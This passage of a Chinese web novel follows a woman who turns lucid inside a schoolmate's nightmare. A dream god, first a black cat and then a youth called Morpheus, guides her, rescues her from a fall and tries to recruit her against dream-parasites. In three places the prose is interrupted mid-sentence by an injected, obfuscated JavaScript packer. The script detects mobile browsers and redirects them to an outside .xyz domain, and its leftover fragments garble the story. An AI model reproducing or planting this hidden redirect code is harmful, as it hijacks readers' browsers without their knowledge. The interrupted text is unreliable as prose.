苏夜凛的双肩不住颤抖,紧紧攥住拳头……她感觉这一切都不对劲!苏夜凛看到了什么?——】却又感觉脑子被什么蒙住、阻止她思考。为什么』会变成这样?囹锕镒僫恖圉卼庑傈嚻]\谁在?@xpq这不合理、来找我来找我可是为什么?别听别看别想别听别看别想别听别看别想别别想别听别看别想找她找她&&&流光溢彩欢声笑语死了的人和活着的人排着队一起去领取新鲜的动物尸 体回家烹饪囹锕镒僫恖圉卼庑傈嚻好快活好快乐全是%%:S》地上红红的=有人从楼上掉下来啦!大家有说有笑///我、我我为什么「来找我」「来找我」「来找我」「来找我」女孩的脸上充满了斑驳的红线她嘴巴张大眼眶空空大家欣喜若狂地唱起歌来从高高的井口抛下…… “不对!!这不对!!!”苏夜凛的后背靠紧了墙面,感觉电梯在摇晃,自己的脑子也跟着摇晃,她手指紧紧地扣住自己的头皮和太阳穴,试图让纠缠粘连的疯狂幻想继续蔓延…… 但是为什?为什么她的脑子里在不断播放着这些??仿佛狂奔的河流里全部是血!还有无数双死气沉沉却又像是活着的眼睛在明灭!! “我、我……”她感觉肺部供养缺乏,嘴唇无力地颤抖,语言到不了嘴边,但还是使出最大的力气讲出来:“我在做梦!这只是梦!!!” 唰啦———————— 仿佛陈旧的书页被翻开的声音。 “你终于反应过来了……之前不都经历过一次了吗?” 然后紧跟着一个现在听来却格外亲切的声音。 === 苏夜凛感觉精神一振,一瞬间那些涣散混乱的思绪全部梳理规整,像是被磁吸到自己体内一样,意志变得正常又清朗。 凝神一望,发现自己仍然在那个锈迹斑斑的红色电梯里,那些歪曲的文字也没有变化,只是现在看起来就只是成了一个普通的空间,完全没有叫人头痛或恐惧的点,顶多是看着有些不舒服。 “你在……哪里呢?”苏夜凛知道“他”是谁,但是恢复正常的她实在有点叫不出「露娜」或是「梦之主」这些略显羞耻的名字……只能如此询问。 “在你的手机里。”男声如此回应道。 什么?苏夜凛一时没反应过来,心说如果换个场景,这也很像是一个阴湿的跟踪狂之流会发出的恐怖言论…… 她还是打开了手机,发现锁屏上大大的时间显示被虚化,屏幕中心变成了一只卡通黑猫,四周有几颗黄色粉色的星星颤动,像素画风下软绵绵的轮廓和仿佛很不高兴的蓝眼睛一闪一闪。 “啊……你怎么还能用这种方式出场?”苏夜凛对着这个毫无威慑力的形象忍俊不禁。 “你的意识刚才被封闭得太死了,很难介入。”一闪一闪的猫咪动画之下,露娜、或者说梦之主无奈的声音传来,“梦境中人类的情绪是最容易失控的,所以如果意识不到自己正在梦中的话,就很难接收到我的讯息了。” “可是,你不是梦之主吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016895|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不能随意出入别人的梦吗?难道梦世界也有信号强弱……?”她半是认真半是打趣地看着屏幕里的猫猫头。 苏夜凛自己都没发现她的心情比刚才好了许多,混沌而惊惧的余韵也消失不见。 梦之主则并不热衷于回答她的问题,只见屏幕光芒一闪,有什么东西跳了出来。 很快,一只毛皮柔亮的黑猫徐徐摇着尾巴,端正地坐在她的面前。 “准备好吧,现在才是直面梦境的时刻。” === 电梯停下。 打开门的那刻,艳烈的金红色夕阳侵入苏夜凛眼中,闭塞的视野突然开阔,过度的光芒变成热度,她感觉眼眶发痒,眯起了双眼。 果然是梦一场,如果还在现实,现在太阳早该落山了…… 她发现自己还是第一次如此清晰地知道自己是身处梦中,也是第一次真正洞悉梦中的一切场景和细节。 “这是什么情况……”她伸手遮住过强的夕晖,踏出令人不快的电梯门槛。 变得辽阔的界限,天空中大面积的红云叫人心间一振,似乎有干燥的微风拂着自己的裙摆,但与此同时仿佛天地间突然干净苍茫,除了自己不再有任何生命一样。 “好漂亮…….”她轻轻地自言自语,静站在原地发呆。下一秒,黑猫轻掠身影,无言告诉苏夜凛,这不是独属她一人的阈限空间,她需要谨慎。 “别傻站着,适当地观察一下吧,要找到更多的信息,才能突破这些梦境。” “突破梦境……”苏夜凛听着他的声音,模糊的概念好像慢慢在脑中拼装成型,“有点奇怪不是吗?梦难道不是一定会醒吗?” 她顿了一会,又补充道:“就像前两天我隔壁那个男人一样,就算让梦境继续,不也一样……等等。” 说到这里,突然有一阵奇异的闷痛盘旋在苏夜凛的胃里,又顺着心口爬到喉咙和眉心。 直到现在,她仍然对第一个梦境相关的一切讳莫如深。月光、钟表,第二天女警冷漠的眼神、和死。 她总觉得,在这里无法清楚地道出自己的想法,甚至像是永远搞不懂那一切。 “露娜”似乎发现她的不安,轻轻跃起,爪子搭到少女的肩旁。 “没事,现在你在梦里的控制力还比较差,不用勉强思索太多现实中的事情。” 苏夜凛转头,瞧见黑色的尾巴摆摆。 “等醒来之后我会好好解释,现在么,简单点来说,你就当做……这是一场游戏好了。”黑色姿态的梦之主歪头,简直就是刚刚出现在她手机屏幕上的像素Q版图那样。“你要做的,就是收集信息和道具,提高探索度,提升自己的能力,最后用在重要关头打败敌人。” “一场游戏……?”苏夜凛感觉他的话语格外有用,自己思路像是亮起了小灯泡一样明亮清晰,“那我现在就像探索地图一样,去四处看看,搞清楚这个梦就行了吗?” “可以这么说吧。在你成为这个梦境的住民之时,你就更容易具备洞察与对抗的能力,”黑猫顺着她的话继续,“你就当做自己也在升级,直到时机成熟时,击败这个梦所孕育的梦魇就好。” 鲜艳的晚霞之下,苏夜凛的恐惧似乎已经被一扫而空,甚至莫名的兴奋感轻快地涌了上来。 她查看四周,发现天台几乎是一片废地,墙上残破的涂料和部分断裂的建材没有修缮,几处通向楼下的扶梯口都歪斜围满了“禁止进入”的黑黄警戒线。 8. 转角间 03 有一处引起了苏夜凛的注意。 警戒线围在一个墙角,那里看起来只是一处角落,没有通向什么楼梯或房间,但是有一处凹进去的死角处,看不见更多东西。 这里会是什么?苏夜凛看向那凌乱的警戒线,迟疑了两秒,抬腿迈过去。 很快,她停下脚,攥紧了拳头。因为就在即将接近之时,她感觉那个角落的阴影里延伸出了什么东西。 黑色的密密的细细的丝线,像是长长的头发——不如说怎么看她都只能想到倒下的人、铺开的长发。 但是一眨眼间,那里又变得冰冷沉默,好像什么都没有了。 “不、不行……这只是梦而已,没事的……” 嘴上这么说,藏在阴影里的东西还是让苏夜凛有点害怕,黑猫似乎看出了她的犹豫,无声地轻跃上前,在那里翻找着什么。 过了一小会,它再次跑出来,嘴里叼着一块东西,在夕晖下发出微弱的闪光。 苏夜凛捏着裙角蹲下,伸出手掌,让那块小小的金属落在手中。 “你看到什么了?”少女先开口问它。 “你不是也看到了吗,”黑猫百无聊赖,宝石般的蓝眼眯起来,“是一具尸体。” 女孩听了一惊,电梯里相对视的那张苍白的脸再次浮上心间,她没注意到自己的脸色也变得煞白。 “……开玩笑的,别那么慌张。”黑猫淡淡地叫她,“虽然乍一看确实很像个倒在地上的人,但其实只是一套衣服而已。长袖的白色衬衫,灰色的长裙,有点旧了。大概只有你手上那个东西有些价值。” 空落落地铺在地面的衣服……苏夜凛沉默地看向自己手里椭圆形的金属片,这是一个徽章,轻轻的,不怎么精致,上面印着已经被磨得模糊的文字,但是苏夜凛大致看得出,那里写着“xxxx中学”。 按照刚才猫的说法,服装和自己看到的差不多,也很像是校服的配置。 虽然苏夜凛自己在中学时代几乎是两套运动装穿到底,但是学校也有那种所谓“正式场合”的套装,看起来就是西装或者中山装的制式,男生的下装是长裤,女生则是过膝的百褶裙。 苏夜凛自己不喜欢穿,一是因为她害怕别人的目光,想尽量朴素,而且她觉得那身衣服材质有点差,穿起来不舒服。但是显然衬衫裙装的搭配还是比运动服有型多了,所以平时爱穿的同学也不少。市里许多学校的服装都是这样的配置 想起电梯里那个阴气森森的少女,她用拇指不停摩擦徽章的表面,却反而觉得那图像变得越来越模糊,甚至中心逐渐变成了一团闪动的马赛克。 这时她才意识到,这并不是因为陈旧或蒙灰而显得不清晰,而是她原本就“不能看清”这上面的文字。但是这分明是一个重要的信息,她觉得无论如何都要搞清楚,这究竟是哪个学校的校徽。 “这个,你能够看清吗?”少女半蹲下,将那一面秀给懒懒的黑猫看,期待着它能有和自己不一样的视角。 “你说上面的文字?”他伸伸爪子,朝着苏夜凛的方向拨了拨,“不行。你眼里是什么,我看到的也是一样。” “不是吧……”苏夜凛忍不住哀叹的语调,“你这个梦之主,都不能从别人的梦里窥见点什么吗?怎么弱成这样啊……” “你还真说对了,我现在就是有这么弱。”丝毫没有为对方流露出失望和不敬而愠怒,黑猫甚至躺下了开始翻肚皮,语气也轻松到有点轻浮。 “不过也要纠正一下,你对我的期待太高了,虽然消灭梦魇是我职责的一部分,但梦本身是极其私人化的东西,我可不负责创造和管理所有梦境。你可以把梦世界想成一个大网络,把我想成程序员,即便恢复了力量,也主要是在做维护,不能随随便便拿别人的梦来拆包观察哦。要有正当的理由,还要付出精力才行。” 您还知道程序员呢?女大学生苦涩地想着。 “什么嘛,我还指望你能帮点忙……”苏夜凛几乎想哀嚎,“以为你现在这样子是为了卖萌,结果你是真的战斗力只和猫一档啊!” “猫的样子不好吗?”对方坐正,冲她眨了眨眼睛。 “呃,别转移话题……如果你打不了怪要依靠我来打过,这不是很奇怪吗??连你都对付不了的东西,我怎么可能收拾得了……” 对方也没想和她争辩,一跃上斑驳掉漆的墙沿。 “不奇怪啊,现在我相当于被系统针对了,或者说被ban了?所以能做的事很有限。但你是有天赋的,能对别人的梦共鸣,所以我把力量转移了一部分给你,让你能出现在这里,甚至和梦魇战斗。至少目前,你能做到的事我做不到,但同时,我也具备你无法拥有的视角。” 被ban了……苏夜凛在心里忍不住腹诽,你真的是神吗??平时没少看电竞直播吧? “也就是说,苏夜凛,现在你是我的代行者,”轻盈的毛绒身躯再次拱起,“或者说,我们是这个游戏共同的闯关者,我需要你的协力,你则享有我的潜能。” “听起来好像画大饼啊!”少女不满地抱怨了一声,但是也没法真的发什么火,只是想快点解决眼下的问题。“如果真像游戏那样,通关了能给我什么奖励就好了……” === 四处转了一圈,苏夜凛感觉收获寥寥,毕竟这块“地图”实在是太贫瘠了。 “什么也没有啊……不管走过的地方还是风景,都没有太大变化的样子。” 话音未落,苏夜凛停下脚步,她的目光所及之处出现了一些不一样的东西。 原本是拉满了破旧黄黑色警戒线的小门后面,她看见了什么。那是长长的黑发……但是还好,并不是铺散在地面上,狰狞地沾着血水凝成一缕一缕的样子。 那头长发的主人好好地站着呢,似乎在和谁说话。她身姿优美,只有模糊的侧脸对着苏夜凛,发丝光洁亮丽,随着她一颦一笑轻轻随风摆动。 她对面站着的那个男人没有露脸,只看出比她高出不少,右手端着茶杯,衬衫的袖口边露出一截手腕,银色腕表相当惹眼,显出些粗糙的成熟。 苏夜凛听不见他们的对话,或者说他们的语言呈现出来的并非日常中的音律,而是一种被快放扭曲的声音。 像在播放机上扭下倍速按钮一样,许多音符仅仅是从耳边飞速地流过。 “男人”的声音低沉嘈杂,“女孩”的反应兴奋昂扬,他们的话题好像非常有趣,如果听不清楚,一定会感到很焦躁…… 但是……苏夜凛莫名能够理解他们在讨论什么——打印机、裁纸刀!密密麻麻的文字!触手可及的快乐! 还有订书机?还有订书机!!苏夜凛听着听着,也感觉兴奋和入迷,她觉得自己特别能感同身受,把一张一张装满文章的纸整齐地摞在一起!把它们小心翼翼地对齐!再用订书机,一遍遍对出横平竖直的线条,咔嚓!按下去! 咔嚓!一条美丽的银色线条!咔嚓!一段可爱的银色虚线! “——你怎么?听见我说话了吗?” 咔嚓!咔嚓!世界好像听到了她的心声,也不断发出订书机夹住时清晰又清脆的声响,而且声音不断地增大、变多、重叠…… 苏夜凛摇头晃脑,苏夜凛欣喜若狂,跟着不知所踪的声音不停地舞动,她感觉世界的颜色变得多彩,订书机的声音组成狂躁又俏皮的音乐。 同时,面前聊天的人也从口中吐出更加密集频繁的语调,仿佛几十上百篇密密麻麻印着字、打着标注和参考文献的文章从长发少女的口中喷涌而出。 “不要被梦境里的情绪旋涡牵着走!苏夜凛……苏夜凛!” 她太高兴了,她整个人都因为订书机和纸张的故事愉快地头晕脑胀,而那两个人还在讨论着更有趣的事情! 她想着,她不能让那两个人发现自己在偷听、如果被发现的话!如果被发现的话?一切都完了。……但是她忍不住还想听清楚些,所以又把脑袋往前面够…… 大事不好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016896|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她因为太兴奋了,手撑到了拦着她的警戒线,那一道道胶带一样的布条被拉动了,发出了很夸张的“吱呀吱呀”的声音,仿佛她真的因为偷听,触碰了一扇古老沉重的木门。 苏夜凛的情绪一下跌至谷底,仿佛体内的时间静止了。因为那一边的女孩听见声音,停止了笑语,缓缓地像故障的机器一般,转过头来。 苏夜凛想象到她会露出各种愤怒、扭曲表情,但其实并没有,她脸上的五官毫无动静—— 因为她原本五官的位置,尤其是眼睛以下——已经被密密麻麻的订书针、双刃刀片扎满,脸皮成了一张充满杂乱线条的稿纸,透过钉满的金属针之下,一双黑洞洞的空眼眶朝自己投来目光。 “唔!”苏夜凛下意识地克制自己的叫喊,倒是没有特别惊慌。她在梦中的抗性似乎提高了,不会因为这一点惊吓被硬控。 她感觉自己该跑,不能正面和“那个”对视。于是她迅速转身,却发现刚才还挡在身前的警戒线又跑到了身后,俨然拦着她逃跑的步子。 女孩想都没想,伸手抓住警戒线,感受到干硬的塑胶质感,随手把它们往下拉。 然后她瞳孔紧缩。 就在这一瞬,眼前的空间向水波一样缓慢又不可逆地开始扭曲。 前方的水泥地变成了天台那残破的护栏——映入眼帘的是从十三层高楼上一望到底的风景。她的重心向前倾倒。 时间也被极致拉长,一秒被拉伸到像是一分钟,她无法撤回自己的动作,只能顺着格外滞重又迟缓的重力,一点一点地被拽着从楼顶坠落。 双脚彻底失去支撑之后,她感觉有谁看着自己,甚至是有谁在和她同行。 是的,有谁在看着她,虽然她看不见对方,但是对方正在满怀热情、几乎整张脸贴上来注视着她。长长的柔软黑发拂过脸颊,乌青色的眼眶空空如也,嘴角咧起了笑容。 :你要死吗?你要死了吗?你要陪我一起掉下去吗?! 苏夜凛哑然,当然了,这可是教学楼的十三层,不存在掉下去还能安然无恙的人。 :掉下去吧,掉下去吧!等你还没反应过来的时候,死亡就已经降临啦!那样你就能看见我、触摸到我啦!她的情绪高扬了很多,头发几乎要缠住她的脖子、欢迎着苏夜凛。 怎么会、怎么会……我要就这样死掉?苏夜凛有一丝绝望,又百般试图否认她的话。 :不要害怕嘛!还是你舍不得活着的感觉?活着有什么有趣的?活着…….不过是源源不断的痛苦、打压、欺骗……误解、疏离、伪装…… :你也感觉得到,不是吗?你也是那种人。讨厌欺骗和伪装又不得不忍受的人——在空气中若隐若现的少女语气又沉了下去,空空如也的眼眶里,如同再次盈满了悲伤。 虽然会有点痛、肯定会痛,但是死亡的痛,也不过是头着地的那一瞬间…… ——也有道理啊。死亡、不过是一瞬的痛,比活着近乎永恒的痛要好太多——但是,她说的是对的吗? 苏夜凛突然想到了什么,双眼倏地睁开。 “不!我不会和你一起死的……” 她感觉正“注视”自己的少女也愣了一瞬,随即气氛变得紧张。 “因为我还活着、而且……我根本不会死,因为,这只不过是在梦中!你只是一个,虚无到不能在世界里立足的存在,你根本无法带走我……” 在她说完那几个字之后,对面女孩和空气一般稀薄的存在感突然变得实在,连着苏夜凛周身所有的景色,都充满攻击性、令人震悚。 “啊!!!!!” 时间的流速突然又再次恢复,对苏夜凛就是猛然加速,剧烈的失重感裹挟恐慌,把她的身体往数十米之下的水泥地上抛。 我不能死!我不会死! 这一瞬间,本能的恐怖让她无法思索,试图千钧一发之际用指尖够到水泥墙的边缘,目光向着上空—— 然后,有谁抓住了她伸出的手。 9. 转角间 04 顺着那股紧紧捉住自己右手的力道,少女抬起头。一抹幽深的蓝色映入视野。 是他,到底该怎么称呼,梦神?露娜?比起那些,苏夜凛感觉这个人正在用青年的形态攥住自己的手这件事情,让人感觉更加奇妙。 苏夜凛很快回过神来,她的双脚还耷拉在半空中,只能仰头直视这个几分钟之前还是猫模样的青年,等他拉自己上来。 但青年没有像影视剧里那样,小心又奋力拽她回天台,而是随意地往上一甩——周边的天色一暗,整栋教学楼凭空消失,苏夜凛的身体居然就像一片纸张或纱巾一样,缓缓飘起浮在了半空中,仿佛要朝着遥远的星空上浮。 还没来得及说出什么,青年的声音先传了过来。 “注意平衡,我们要醒来了。” === 伴随着抽搐感,在一阵强烈的心悸中,苏夜凛倏地睁开双眼。 台灯微亮,她发现刚才为止自己都趴在窄小的书桌上。如果只是一小会儿,这可能会是个还算舒服的姿势,但是很不幸,她貌似昏睡过去好久了,所以枕着的右手臂又麻又涨。 和往常从床上醒来一样一样,梦中的一切又快速地收束到大脑中。不过,留下的印象比平时更加清晰和完整。 她揉了揉脸颊,感觉留下了纸张的印子。为了找回真实感,她在心里细数着今天都发生了什么。 缓缓地,文曦瑶、耿学姐的脸映在了脑中,终于让她感觉自己的认知没有断层。 别人如何她不清楚,对苏夜凛来说,做梦一向十分消耗精力,梦境总是复杂、诡谲、细节繁多,偶尔梦中产生的情绪甚至会让她心力憔悴,连正常生活也被影响。 就像今天,小文……和小文的会面明明该是很快乐的,一场梦起来,连找到新朋友的感动都冲淡了好多。 还有学姐……对她露出无奈表情、晚上叫她去教学楼帮忙的耿学姐。 ——等一下,去教学楼帮忙? 苏夜凛一愣,突然又找不到现实和梦的模糊界限了。 如果“去教学楼”整个事都是梦一场,那么耿学姐给她发短信的事情,是自己的臆想吗? “感觉如何?” 就在她的低头深思刚开始几秒之后,某个声音再次惊动了女孩。 不过,在抬头之后,她对那双与夜色相互映衬的蓝眼睛再也也没有丝毫的惊讶。 “你好,苏夜凛小姐,”他十分从容,背靠着墙边,悠然开口,“这算是我们第一次正式的见面吧,之前都因为各种各样的原因,基本没说得上话。” “.....你好啊露娜。”苏夜凛也懒懒地说。她也不再纠结称呼了,爱怎么叫就怎么叫吧。 “你真是别太喜欢这个名字了。”对方佯装叹气,随后又想起了什么,“哦,不过也是我的问题,跟人类自我介绍还是不该那么故弄玄虚。” 你也觉得自己说话很故弄玄虚对吧?苏夜凛心想。但是也没差,上回自己半梦半醒的,他说什么估计都是听不进去的。 青年转过身来站定,以旁观的视角,称其为男人都显得奇怪,他更多给人留以纤细、幽暗和俊美的印象,苏夜凛觉得还是以“青年”甚至“少年”形容他恰当。 他轻轻躬身,行了个非常简洁的礼。 “……虽然我对自己的身份认知停留在梦之主,但是众多的事情都说明,那是过去式了。你可以叫我「墨菲斯」,这是我更加世俗化的名字。” “墨菲斯……”这个音律还挺符合青年身上的神秘气息,苏夜凛这才有种“对上脸了”的感觉。 “仔细一想,这两天发生了很多事情,对吧?你貌似也有很多问题想问我,”简单地自我介绍过后,墨菲斯也不再和她谜语,开门见山,“那么,现在到问答时间。” 苏夜凛细数了一下还真是,从第一个怪梦到现在,也不过是三天左右的事情。 她抿了抿唇,问出了当下最困惑的事情。 “今天,耿学姐究竟……有叫我去帮忙吗?” “嗯?就这点事情,看一眼她有没有给你发信息不就知道了?”墨菲斯一脸疑惑地回望她。 什么啊,又让人问问题,态度又这么敷衍!苏夜凛有点不满,但也无法否认。飞快地拿起手机,看到黑屏上自己的脸之后又怔了一下,梦里鲜明的画面闪回。 她摇摇头甩走已经无意义的梦境,点亮了聊天软件。 她大致看了几眼,确认了事实与自己的记忆相近,只是细节内容有出入。耿学姐确实发来了消息,但没有让她当即就前去教学楼,这样就解释得通了。 可为什么这个梦境,偏偏以和学姐约定作为了故事的开头呢?这个梦应该是和她有关系吧。 众多的思绪开始乱七八糟地冲撞,女孩想了几秒,问道:“我们这次是闯进了耿学姐的梦里吗?” 她对此没有什么把握或线索,只是凭着强烈的直觉如此感应到。 “没错,据我的观测,基本可以确定是她。” “你说过,我是你的代行者什么的,对吧?为什么会选中我呢?”苏夜凛问出下一个问题,她的确还是在意着“为什么偏偏是我被牵扯到这种事。” 因为我天赋异禀?因为我是有什么过人潜质? 或许这些答案能证明自己是特别的,但苏夜凛又觉得这些太虚无缥缈,像故事里才会出现的缘由,她心里总觉得自己没道理成为那个“被选中的人”。 “不是你选中我了吗?”墨菲斯瞪大眼睛,好像没想到她会问这个问题,“你给我起名了,你不知道起名是一项意义重大的行为吗?不论是对于神还是对于使魔,给予名字几乎就是缔结契约的意思啊!” 少狡辩!苏夜凛在心里恨恨地喊着,“信你有鬼!如果那算是起名,你现在还让别人叫你什么梦神或者墨菲斯?我就一辈子叫你露娜好了!” 何况谁要和这么弱又这么奇怪的神缔结契约?——苏夜凛觉得自己还是比较善良的,没把这话说出口。 “你要真的想叫我也不拦着。不过,说是缔结契约也不为过吧?我在第一场梦境里唤醒了你、甚至可以说救了你。” 墨菲斯淡定地和她理论,“否则,没人知道梦魇诞生之后是什么下场。我现在力量薄弱,希望你成为我的代行者作为回报,有什么问题吗?” 对于这个,苏夜凛确实无话可说,但是还是不想落于下风: “你是说,不是你出现很可能我就死了?谁知道呢,说不定根本没你描述得那么严重,每天做噩梦的人那么多,如果梦魇有那么大的影响,这个世界早就一团糟了……” 墨菲斯听到这里,没忍住嗤笑: “难道说,现在的人类世界不算一团糟吗?” 苏夜凛竟然无言以对。 === 按照墨菲斯的说法,梦世界是独立的空间,正如古人相信死者的世界在地面之下,生者与死者抵足而行。梦境是现实的投射,梦世界则是一个把现实扭曲颠倒又重塑的地方。 人类睡着的时候,意识会坠入此地,成为梦世界的游民,梦世界的引力会将他们的意识扭曲,形成光怪陆离、理性难以解释的破碎图景。 生于梦世界的“灵”会为人类引路,把意识送回表层, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016897|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而作为代价,它们也会吸取人类在无意识中的塑造梦境,作为养分。 梦灵之间,也大有区别,有些梦灵愿意花很长时间品味一个梦,整个梦境都会被吃光;大部分梦灵饥饿而心急,舔一舔那些精彩的梦境就跑了,人在醒来之后可能只记得几个零碎的片段,不用力回忆的话,它们就像晨露一般消散无影。 梦本身是没有好坏之分的,美梦或噩梦,都不过是梦世界引力的产物,同时也是人类自我意识塑造的一种抚慰剂、同时也是防御机制。 不管什么样的梦,都对应做梦者在现实中的体验,或者是某种愿望的投射——所以噩梦本身无害,甚至是有益的,但是梦魇偏偏喜欢品尝噩梦。 梦魇的不同在于能精确识别“情绪”,恐惧执着或痛苦,带着这些来到梦世界的灵魂,让它们的贪食本能趋之若鹜。 梦魇会找到那些灵魂,将自己“钉”到他们的梦里,然后跟随他们回到表层世界。随后诱导这些人类创造更多的噩梦、更多崩坏的情绪,不断吸食,直到满足为止。 棘手的是,梦魇虽然只会挑一个人做宿主,但是以它为中心会形成一个无形漩涡,波及到更多人。 如果遇到强大又贪婪的梦魇,不仅是宿主,其他人也常常被卷入灾难——那些匪夷所思的案子,比如杀了自己最亲密的人,比如突然爆发的疯狂念头——当然,这依然是因当事人的主观意志驱使的,并非梦魇夺舍了他们,但是梦魇的介入无疑加速了悲剧的发生。 “如果一个人没有意识到噩梦和深层自我给予的警告,没有处理好现实中自我矛盾和压抑的诉求……那他就很有可能被梦魇找上。当梦魇侵入噩梦时,噩梦就不再是一个无意识生成的场景,它会带来副作用,有的只是让做梦者精神萎靡,有的会反噬现实,甚至毁灭宿主本身。” 虽然梦世界的存在很魔幻,但是「现实中的诉求和矛盾」「深层自我给予的警告」……这些在苏夜凛听来,居然是相当科学合理的解释。她点点头,继续听墨菲斯叙述。 “至于梦魇的起源......说起来可能会长篇大论了,你就当是在梦世界衍化的一个物种。它们对于人类,就像是一种无形的病毒,在研究室的培养皿里待着的话,当然是没什么害处,但它一旦找到宿主并且爆发……后果不用我说了吧。” “梦魇是……类似于病毒的东西吗?”苏夜凛瞪大眼睛,这种解释对于她这个生活寡淡的正常人还是太新奇了。 “只是类比,为了让你能够大致理解它,不过梦魇比病毒要不稳定得多,因此它造成的危害……有可能很轻微,也有可能更严重。” 稍微停顿了一下,梦神静静地对上她的眼睛,“一场突如其来的重病,或者猝死都有可能,毕竟这可是「梦幻」的产物,建议你不要用人类的思维去揣测它的行动模式。” 说到死亡,隔壁房间已经被挪开的尸体、方才梦中坠楼的景色在女孩脑中苏醒,让她不快。 “这样听起来,不如说是寄生虫一样的东西,不过是精神层面的。”苏夜凛轻声陈述自己的感想。 “接近吧,总之你知道这东西很棘手,你也没有能力独自处理它们。我的力量虽然很弱,但是转让给你也够用了,每次处理完梦魇之后能恢复一部分,这算是对我们最好的方案了吧?” “但是,我觉得你还是没有正面回答我的问题,我知道梦魇很麻烦,很危险,可……我是觉得我没有做这件事的义务。” 苏夜凛沉吟了几秒,“这么问吧,我们遇见的时候,那第一个梦,隔壁的男人想杀了我的那个梦,当时,梦魇选中的‘宿主’是我吗?” 10. 转角间 05 “…不是。为什么问这个?”墨菲斯的眼光如静水,沉沉地观察着她。 “我猜也是。我消灭的梦魇、还有他选中的宿主,是隔壁那个男人对吧?” “可以这么说吧。你的邻居本身就不是一个正常人,被污染得极其严重,梦魇的漩涡早就把你卷了进来,所以你也总是跟着做噩梦,那晚上恰好碰到梦魇的爆发期……你赶在合适的时机把它杀死了。” “这么说的话……他现在都已经死了,不管是他,还是他身上的梦魇。”苏夜凛抬头,“所以,这一切已经和我没什么关系了对吧?反正我现在也安全了,我真的没什么天赋……你其实可以去找别人了。” 平时,苏夜凛并不是喜欢追根究底的人,对于别人的要求也总是稀里糊涂就答应了。但面对这种事情,她不想过多地牵扯进来。 青年看起来有点惊讶,语气夸张: “这是什么意思?现在我是把力量嫁接给你,相当于你是我的使者——这可是成为神的眷属的机会,以前成为神明的代行者,可是要至少经过7道考验的!居然还有人类不想要吗?” ——大哥,你知不知道我们处在现代社会啊?我经受的考验,只有这两年的期末考和未来的996就已经够了。 不过这个场合下,苏夜凛连认真吐槽他的力气都没有。 她心里猜测,墨菲斯可能真的是太缺人手,所以用这些相当戏剧化的说辞,想劝自己做他的打手吧? 她也不是没有过一些幻想,类似于去往奇幻空间、拥有特异功能之类的,但那也就是想想罢了。只要是有风险的事,她就很难真的踏出那一步。 “原来如此……也有很多人会因为不想惹麻烦就逃避事情的啊。” 墨菲斯托腮,似乎在回想什么,片刻后才开口: “当然那也是你的选择,不过,这一切并不是和你毫无关系。 “早在之前,我从你身上观测到了因果的杂质,所以才能找到这里来。好像我之前也说过吧,你还是会被不停卷入这些事情里,这次你又被拉进其他人的梦魇漩涡里,就是证据。” 因果的杂质?这又是什么新词汇,苏夜凛狐疑。 看她皱眉沉思的样子,墨菲斯又叹了口气: “一般来说,因果有杂质的人,很容易碰上负面的事情,你自己以前没发现吗?至于你身上出现异常的原因……我也不是很清楚,毕竟我不管命运或者时间之类的东西。我之前没把这些跟你坦白,只是因为,这些事普通人知道了未必是好事。 “世界运行的规律、自身的命理,其实是人类不宜接触太多的领域,就像那些占卜者也避讳占卜自身。如果你只是因为想避免麻烦的话,我可以诚实地告诉你,自从我沉睡之后,梦魇的失序越来越剧烈,你之后的麻烦也只会越来越多的。即便不借助我的力量,你又能有多少把握能从梦魇的缠绕下脱身呢?” 梦世界失序,梦神从灭亡中复苏,梦魇是可怕又不可控的存在,而苏夜凛已经因为上一次的污染被卷入其中,这么一来,不管是出于自保还是别的,她都没有不跟随墨菲斯的理由……这位梦神的主旨大概如此。 苏夜凛抿了抿嘴唇。 “这么多危言耸听的话,我还真是该感觉害怕,是吧?”苏夜凛觉得他的态度很奇怪,心里生出一丝疑云,她直直盯着比自己高半头的的青年,语气冰冷,“……你说的话我又能相信几分呢?” “几分?至少八分吧,我还没有无聊到特地要来戏耍人类?” 她不知道梦神这副轻松的态度是不是在装傻,只感觉无人开口时,空气冷峻了几分, “……抱歉,墨菲斯,”苏夜凛抿了抿嘴,想了一会才开口,“我很感谢你帮了我,但说实话,关于这些什么梦世界的事情和规则,从头到尾都只是你的一家之言而已,包括梦魇有多大的危害、不帮助你我就会死之类的,我怎么知道你不是在骗我?我怎么知道这一切,从第一个梦开始……是不是一开始你就在利用我?” “利用你?”青年像是听到了什么非常有意思的奇闻趣事,几乎要笑出声:“为什么不是呢?神利用一下你们,不也是天经地义的?反过来说,你也在利用我的力量啊。如果只靠你自己面对梦魇,不知道哪一天醒来,就被诱导着去自杀了,这对你来说是更好的结局吗?” 